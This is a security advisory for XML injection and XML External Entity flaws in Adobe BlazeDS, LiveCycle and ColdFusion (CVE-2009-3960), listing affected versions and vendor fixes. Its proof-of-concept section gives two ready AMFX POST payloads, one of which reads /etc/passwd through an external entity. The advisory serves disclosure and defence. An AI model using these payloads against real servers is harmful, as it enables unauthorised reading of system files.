BID:38197

Adobe BlazeDS XML and XML External Entity Injection Vulnerabilities

Info

Adobe BlazeDS XML and XML External Entity Injection Vulnerabilities

Bugtraq ID:	38197
Class:	Input Validation Error
CVE:	CVE-2009-3960
Remote:	Yes
Local:	No
Published:	Feb 11 2010 12:00AM
Updated:	Mar 05 2010 09:02PM
Credit:	Roberto Suggi Liverani of Security-Assessment.com
Vulnerable:	Adobe LiveCycle Data Services 2.6.1 Adobe LiveCycle Data Services 2.5.1 Adobe LiveCycle Data Services 3.0 Adobe LiveCycle 8.2.1 Adobe LiveCycle 8.0.1 Adobe LiveCycle 9.0 Adobe Flex Data Services 2.0.1 Adobe ColdFusion 8.0.1 Adobe ColdFusion 7.0.2 Adobe ColdFusion 9.0 Adobe ColdFusion 8.0 Adobe ColdFusion 8 Adobe BlazeDS 3.2

Not Vulnerable:

Discussion

Adobe BlazeDS XML and XML External Entity Injection Vulnerabilities

Adobe BlazeDS is prone to an XML-injection vulnerability and an XML External Entity injection vulnerability.

Attackers can exploit these issues to obtain sensitive information and carry out other attacks.

The following applications are affected:

BlazeDS 3.2 and earlier versions
LiveCycle 9.0, 8.2.1, and 8.0.1
LiveCycle Data Services 3.0, 2.6.1, and 2.5.1
Flex Data Services 2.0.1
ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2

Exploit / POC

Adobe BlazeDS XML and XML External Entity Injection Vulnerabilities

The following example AMFX requests are available:

1. XML External Entity injection:

POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]>
<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">
<body>
<object type="flex.messaging.messages.CommandMessage">
<traits>
<string>body</string><string>clientId</string><string>correlationId</string>
<string>destination</string><string>headers</string><string>messageId</string>
<string>operation</string><string>timestamp</string><string>timeToLive</string>
</traits><object><traits />
</object>
<null /><string /><string />
<object>
<traits>
<string>DSId</string><string>DSMessagingVersion</string>
</traits>
<string>nil</string><int>1</int>
</object>
<string>&x3;</string>
<int>5</int><int>0</int><int>0</int>
</object>
</body>
</amfx>

2. XML injection

POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="" responseURI="d&quot; injectedattr=&quot;anything"><null/>
</body></amfx>

Solution / Fix

Adobe BlazeDS XML and XML External Entity Injection Vulnerabilities

Solution:
The vendor has released an advisory and updates. Please see the references for details.

UPDATE (February 18, 2010): Updated fixes for ColdFusion are available. Please see the references for more information.

Adobe LiveCycle Data Services 3.0